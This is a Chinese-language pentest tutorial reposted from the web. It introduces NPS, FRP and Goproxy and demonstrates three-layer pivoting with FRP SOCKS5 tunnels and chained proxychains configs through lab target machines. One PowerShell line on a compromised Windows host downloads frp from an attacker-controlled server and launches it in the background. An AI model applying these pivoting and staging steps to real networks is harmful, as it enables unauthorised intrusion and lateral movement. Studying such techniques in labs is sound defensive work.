声明:本文内容来源于网络,如有侵权请联系作者进行删除!!!
代理软件介绍
NPS
简介:
一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等,并带有功能强大的web管理端。
URL:https://github.com/ehang-io/nps
FRP
简介:
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
URL:https://github.com/fatedier/frp
Goproxy
简介:
Goproxy是golang实现的高性能http,https,websocket,tcp,socks5代理服务器。
- 链式代理,程序本身可以作为一级代理,如果设置了上级代理那么可以作为二级代理,乃至N级代理;
- 多协议支持,支持HTTP(S),TCP,UDP,Websocket,SOCKS5代理;
- [协议支持,HTTP(S),SOCKS5代理支持KCP协议传输数据,降低延迟,提升浏览体验。
URL:
https://github.com/snail007/goproxy
https://snail007.host900.com/goproxy/manual/zh/#/
FRP演示
Frp下载
URL:
https://github.com/fatedier/frp
Frp管理页面:
Frp多层代理案例演示
要点:
反向代理、需要先启用服务器端口。
拓扑图:
第一层代理
Frps-kali
frps.ini
[common]
bind_addr = 192.168.1.11
bind_port = 7000
启动客户端
./frps -c ./frps.ini
FRPC-第一层靶机
Frpc.ini
[common]
server_addr = 192.168.1.11
server_port = 7000
[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5
启动服务端
start /b frpc.exe
案例:
Powershell -c wget http://192.168.45.160:8000/frp_0.47.0_windows_amd64.zip -o c:\users\public\frp_0.47.0_windows_amd64.zip
cd c:\Users\Public\
tar.exe -xf c:\Users\Public\frp_0.47.0_windows_amd64.zip
cd c:\Users\Public\frp_0.47.0_windows_amd64
start /b frpc.exe
配置proxychain4
sudo vim /etc/proxychains4.conf
socks5 192.168.1.11 7777
使用proxychains启动burp可以直接抓包
sudo proxychains burpsuite
proxychains java -jar burpsuite.jar
第二层代理
拓扑:
反向代理:
二层靶机反向连接第一层靶机,也就是说一层靶机做服务端,二层靶机做客户端。
10.10.10.7为一层靶机的内网地址。
Frps-第一层的靶机。
frps.ini
[common]
bind_addr = 10.10.10.7
bind_port = 7000
启动客户端。
start /b frps.exe
FRPC-第一层靶机。
Frpc.ini-只改IP-改成二层中。
[common]
server_addr = 10.10.10.7
server_port = 7000
[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5
启动
start /b frpc.exe
配置proxychain4
sudo vim /etc/proxychains4.conf
socks5 192.168.1.11 7777
socks5 10.10.10.7 7777
第三层代理
拓扑:
第二层的靶机做服务端,第三层的客户端。
10.10.20.13为二层靶机的内网地址
Frps-第一层的靶机
frps.ini
[common]
bind_addr = 10.10.20.13
bind_port = 7000
启动客户端
start /b frps.exe
FRPC-第一层靶机
Frpc.ini-只改IP-改成二层中
[common]
server_addr = 10.10.20.13
server_port = 7000
[plugin_socks5]
type = tcp
remote_port = 7777
plugin = socks5
启动
start /b frpc.exe
配置proxychain4
sudo vim /etc/proxychains4.conf
socks5 192.168.1.11 7777
socks5 10.10.10.7 7777
socks5 10.10.20.13 7777